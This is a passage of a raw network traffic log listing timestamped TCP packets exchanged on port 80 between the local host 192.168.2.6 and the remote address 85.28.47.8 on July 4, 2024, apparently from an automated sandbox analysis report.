                                                              Jul 4, 2024 11:16:15.171479940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171492100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171503067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171503067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171514988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171514988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171526909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171540022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171545029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171552896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171564102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171571016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171576977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171590090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171591997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171602964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171631098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171653986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171863079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.217897892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.243557930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243571043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243582964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243616104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.243738890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243751049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243762970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243773937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.243774891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.243803978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.258507967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258526087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258577108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.258656979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258697033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.258774042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258785009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258825064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258826017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.258836985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258852005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258863926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258873940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258886099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258891106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.258984089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.258995056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259006023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259011984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259025097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259061098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259073019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259083033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259098053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259107113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259109974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259123087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259134054 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259134054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259150982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259181976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259368896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259380102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259390116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259399891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259411097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259422064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259432077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259433031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259443998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259455919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259466887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259473085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259507895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259735107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259744883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259756088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259773970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259784937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259795904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259797096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259808064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.259823084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259835958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.259994984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260006905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260023117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260030985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260035992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260049105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260059118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260066032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260071993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260083914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260096073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260097980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260108948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260124922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260154963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260272980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260284901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260325909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260343075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260354996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260365009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260390997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260417938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260682106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260752916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260763884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260787010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260802984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260828972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260922909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260934114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260943890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260957003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.260962963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.260993958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261059999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261070967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261082888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261094093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261107922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261121988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261343002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261354923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261365891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261377096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261389017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261395931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261400938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261413097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261423111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261425018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261442900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261451006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261451960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261466026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261466026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261498928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261744976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261756897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261780977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261941910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261953115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261962891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261975050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261986017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.261993885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.261997938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262010098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262020111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262022018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262034893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262047052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262058973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262074947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262183905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262245893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262270927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262281895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262294054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262304068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262315035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262325048 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262334108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262337923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262358904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262368917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262379885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262381077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262392044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262403011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262403965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262415886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262427092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262437105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.262438059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262464046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.262480974 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.333498955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.333509922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.333520889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.333576918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.333589077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.333609104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.333609104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.333612919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.333652020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.333688021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348534107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348579884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348591089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348598957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348628044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348632097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348645926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348687887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348772049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348783016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348794937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348803997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348815918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348817110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348829985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348845005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348846912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348856926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348869085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348870039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348906040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348943949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348962069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348973989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348983049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.348985910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.348999023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349009991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349014997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349042892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349085093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349097967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349111080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349126101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349152088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349203110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349214077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349225044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349235058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349246025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349256992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349270105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349276066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349281073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349293947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349294901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349307060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349323988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349329948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349356890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349590063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349606991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349622965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349631071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349636078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349649906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349658966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349661112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349673986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349684954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349687099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349704981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349715948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349723101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349729061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349740028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349750996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349755049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349762917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349769115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349781990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349788904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349814892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349817038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349838972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349850893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349860907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349873066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349873066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349899054 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349920988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349931955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349942923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349957943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.349957943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349972963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.349977970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350022078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350101948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350119114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350130081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350147963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350157022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350159883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350178003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350184917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350189924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350202084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350212097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350214958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350224972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350235939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350269079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350519896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350531101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350542068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350553036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350564957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350568056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350577116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350585938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350590944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350611925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350768089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350779057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350790024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350800991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350806952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350816011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350827932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350831985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350838900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350843906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350852966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350863934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350872993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350883961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350883961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350898027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350899935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350915909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350924015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350929022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350940943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350953102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350959063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350964069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350975990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350982904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.350982904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.350995064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.351006985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.351016998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.351067066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.351079941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.351090908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.351103067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.351103067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.351115942 CEST804972385.28.47.8192.168.2.6
